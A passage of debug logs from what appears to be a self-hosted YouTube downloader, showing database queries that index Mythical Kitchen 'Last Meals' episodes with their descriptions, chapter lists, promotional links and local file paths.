Supportive Parents & Grandparents\n18:38 Suite Life, Harvard, & Cancer\n21:58 Acting & Studying Human Behavior\n23:26 3rd Course\n25:14 Falling In Love With Macaulay Culkin\n30:40 Nervous To Go Public & The Cosmopolitan Magazine Cover\n32:17 4th Course\n33:01 Experiencing Real Feelings\n34:22 The Impact Of The Suite Life\n36:31 Deciding To Have Children\n38:43 To Be The Best Mom You Need To Be The Best Version Of Yourself\n40:08 What Do You Think Happens When You Die?\n41:06 Lightning Round\n43:04 Brenda's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Brenda Song Eats Her Last Meal", "69b0a944-8983-4064-beb4-ce48c6ec56bb", "https://www.youtube.com/watch?v=VATL3_aQD2c", false, "VATL3_aQD2c", 2627, false, 57, "/downloads/Last Meals/2025-03-04 Brenda Song Eats Her Last Meal/Brenda Song Eats Her Last Meal [VATL3_aQD2c].mp4", false, false, 1, [], 1, ~U[2025-03-04 11:00:40Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Brenda Song eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Brenda's Last Meal\n0:29 Becoming A Funeral Director For Fish\n1:25 Have You Thought About Your Last Meal Before?\n2:07 How Often Do You Think About Death?\n2:36 1st Course\n4:21 Secretly Watching Laker Games On Set\n6:15 Hospitalized For Being A \"Hoops Sicko\"\n7:54 Portraying Lakers Owner Jeanie Buss\n11:01 Are They Going To Fire Me?\n12:45 2nd Course\n14:18 Pass The Plate\n15:22 Supportive Parents & Grandparents\n18:38 Suite Life, Harvard, & Cancer\n21:58 Acting & Studying Human Behavior\n23:26 3rd Course\n25:14 Falling In Love With Macaulay Culkin\n30:40 Nervous To Go Public & The Cosmopolitan Magazine Cover\n32:17 4th Course\n33:01 Experiencing Real Feelings\n34:22 The Impact Of The Suite Life\n36:31 Deciding To Have Children\n38:43 To Be The Best Mom You Need To Be The Best Version Of Yourself\n40:08 What Do You Think Happens When You Die?\n41:06 Lightning Round\n43:04 Brenda's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Brenda Song Eats Her Last Meal", "https://www.youtube.com/watch?v=VATL3_aQD2c", "VATL3_aQD2c", 2627, false, "/downloads/Last Meals/2025-03-04 Brenda Song Eats Her Last Meal/Brenda Song Eats Her Last Meal [VATL3_aQD2c].mp4", false, 1, ~U[2025-03-04 11:00:40Z]] 20:49:32.328 [debug] QUERY OK source="sources" db=0.0ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.329 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 11:01:10Z], 1] 20:49:32.329 [debug] QUERY OK source="media_items" db=0.5ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Matthew Mercer eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:20 Sketching Adult Materials\n2:33 Have You Thought About Your Last Meal Before?\n4:06 How Often Do You Think About Death?\n6:06 1st Course\n11:43 The Burt Reynolds Pipeline\n16:17 Dungeons & Dragons Beginnings\n17:55 Mr. Busby Surprise\n21:32 2nd Course\n26:16 Critical Role Beginnings\n27:54 DMing Is Intimate\n33:01 The Mighty Nein\n37:19 3rd Course\n38:39 Honeymoon Memories\n40:56 Escape Room Proposal\n44:03 Body Dysmorphia Disorder\n47:46 4th Course\n49:59 Embracing the Chaos in D&D\n53:02 The Mercer Affect\n56:00 Empathy Always\n57:37 What Do You Think Happens When You Die?\n59:40 Lightning Round\n1:01:57 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Critical Role's Matthew Mercer Eats His Last Meal", "4f68eb3a-d5ed-4d5a-b93f-be1848d41949", "https://www.youtube.com/watch?v=_0ZAIHERgFc", false, "_0ZAIHERgFc", 3770, false, 58, "/downloads/Last Meals/2025-12-23 Critical Role's Matthew Mercer Eats His Last Meal/Critical Role's Matthew Mercer Eats His Last Meal [_0ZAIHERgFc].mp4", false, false, 1, [], 1, ~U[2025-12-23 11:01:10Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Matthew Mercer eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:20 Sketching Adult Materials\n2:33 Have You Thought About Your Last Meal Before?\n4:06 How Often Do You Think About Death?\n6:06 1st Course\n11:43 The Burt Reynolds Pipeline\n16:17 Dungeons & Dragons Beginnings\n17:55 Mr. Busby Surprise\n21:32 2nd Course\n26:16 Critical Role Beginnings\n27:54 DMing Is Intimate\n33:01 The Mighty Nein\n37:19 3rd Course\n38:39 Honeymoon Memories\n40:56 Escape Room Proposal\n44:03 Body Dysmorphia Disorder\n47:46 4th Course\n49:59 Embracing the Chaos in D&D\n53:02 The Mercer Affect\n56:00 Empathy Always\n57:37 What Do You Think Happens When You Die?\n59:40 Lightning Round\n1:01:57 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Critical Role's Matthew Mercer Eats His Last Meal", "https://www.youtube.com/watch?v=_0ZAIHERgFc", "_0ZAIHERgFc", 3770, false, "/downloads/Last Meals/2025-12-23 Critical Role's Matthew Mercer Eats His Last Meal/Critical Role's Matthew Mercer Eats His Last Meal [_0ZAIHERgFc].mp4", false, 1, ~U[2025-12-23 11:01:10Z]] 20:49:32.329 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.330 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-26 11:00:58Z], 1] 20:49:32.331 [debug] QUERY OK source="media_items" db=0.7ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Xolo Maridueña is eating his last meal.\n\n0:00 Xolo's Last Meal\n0:23 Fantasy Football Inspiration\n1:08 Have You Thought About Your Last Meal Before?\n2:42 1st Course\n3:28 Growing Up On Cobra Kai\n6:40 Mementos From Set\n8:42 2nd Course\n11:40 Representation Reflections\n14:17 Community Theater Beginnings\n15:12 Blue Beetle\n17:05 \"Not Latino Enough\"\n18:18 3rd Course\n20:23 The Shaman & The Jaguar\n 21:25 How To Think About Death\n26:15 4th Course\n27:09 Life Lessons From Al Pacino\n29:42 Living For A Cause\n31:26 Helping The Next Generation\n32:47 Screentime Rumors\n34:21 Lightning Round\n37:06 Xolo's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Cobra Kai’s Xolo Maridueña Eats His Last Meal", "e6afb66e-cde6-461b-9d19-616ec222fdc5", "https://www.youtube.com/watch?v=qKTJQwolUNg", false, "qKTJQwolUNg", 2287, false, 59, "/downloads/Last Meals/2024-11-26 Cobra Kai’s Xolo Maridueña Eats His Last Meal/Cobra Kai’s Xolo Maridueña Eats His Last Meal [qKTJQwolUNg].mp4", false, false, 1, [], 1, ~U[2024-11-26 11:00:58Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Xolo Maridueña is eating his last meal.\n\n0:00 Xolo's Last Meal\n0:23 Fantasy Football Inspiration\n1:08 Have You Thought About Your Last Meal Before?\n2:42 1st Course\n3:28 Growing Up On Cobra Kai\n6:40 Mementos From Set\n8:42 2nd Course\n11:40 Representation Reflections\n14:17 Community Theater Beginnings\n15:12 Blue Beetle\n17:05 \"Not Latino Enough\"\n18:18 3rd Course\n20:23 The Shaman & The Jaguar\n 21:25 How To Think About Death\n26:15 4th Course\n27:09 Life Lessons From Al Pacino\n29:42 Living For A Cause\n31:26 Helping The Next Generation\n32:47 Screentime Rumors\n34:21 Lightning Round\n37:06 Xolo's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https: (truncated) 20:49:32.331 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.331 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-21 11:00:36Z], 1] 20:49:32.332 [debug] QUERY OK source="media_items" db=0.7ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Andrew Rea's last meal.\n\nCheck out Andrew's channel - @bingingwithbabish \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Andrew's Last Meal Menu\n0:55 Josh's Face Tattoo of Andrew\n1:15 Have You Thought About Your Last Meal Before?\n2:47 1st Course - Eggs, Corned Beef Hash, Toast, & Coffee\n3:45 République Breakfast Memories\n5:06 Fresh Hot Food Magic\n5:58 A Perfect Summary Of Andrew's Career\n7:21 Rapidfire Meditation\n8:50 Mania During A Livestream\n10:20 Going To A Psych Ward\n12:33 Starting From Scratch & Opening Up\n13:27 2nd Course - Bourbon, Pasta, & Chicken Parm\n15:23 Reddit's Response & Support\n16:38 Being Open On The Internet\n17:05 Josh's Heartfelt Email\n19:17 3rd Course - Sashimi, Nigiri, & Hand Rolls\n20:11 How To Be Happy\n22:18 Starting The Binging With Babish Channel\n23:44 4th Course - Maple Syrup On Snow & Crepe Chips\n24:18 Sugar Shacks In Canada\n27:00 Dealing With Loss\n29:30 Josh's Experience With Death\n30:43 Messing Up In The Kitchen\n31:52 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n32:34 What Song Do You Want Played At Your Funeral?\n32:55 What's Your Biggest Fear?\n33:11 What's Your Greatest Regret In Life?\n33:38 Are You Happy? \n34:48 Andrew's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN" <> ..., "Binging With Babish Eats His Last Meal", "d15e2f04-494f-4298-9f6c-b30c589a769f", "https://www.youtube.com/watch?v=eKVkQqFeTsQ", false, "eKVkQqFeTsQ", 2136, false, 60, "/downloads/Last Meals/2023-11-21 Binging With Babish Eats His Last Meal/Binging With Babish Eats His Last Meal [eKVkQqFeTsQ].mp4", false, false, 1, [], 1, ~U[2023-11-21 11:00:36Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Andrew Rea's last meal.\n\nCheck out Andrew's channel - @bingingwithbabish \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Andrew's Last Meal Menu\n0:55 Josh's Face Tattoo of Andrew\n1:15 Have You Thought About Your Last Meal Before?\n2:47 1st Course - Eggs, Corned Beef Hash, Toast, & Coffee\n3:45 République Breakfast Memories\n5:06 Fresh Hot Food Magic\n5:58 A Perfect Summary Of Andrew's Career\n7:21 Rapidfire Meditation\n8:50 Mania During A Livestream\n10:20 Going To A Psych Ward\n12:33 Starting From Scratch & Opening Up\n13:27 2nd Course - Bourbon, Pasta, & Chicken Parm\n15:23 Reddit's Response & Support\n16:38 Being Open On The Internet\n17:05 Josh's Heartfelt Email\n19:17 3rd Course - Sashimi, Nigiri, & Hand Rolls\n20:11 How To Be Happy\n22:18 Starting The Binging With Babish Channel\n23:44 4th Course - Maple Syrup On Snow & Crepe Chips\n24:18 Sugar Shacks In Canada\n27:00 Dealing With Loss\n29:30 Josh's Experience With Death\n30:43 Messing Up In The Kitchen\n31:52 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n32:34 What Song Do You Want Played At Your Funeral?\n32:55 What's Your Biggest Fear?\n33:11 What's Your Greatest Regret In Life?\n33:38 Are You Happy? \n34:48 Andrew's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - 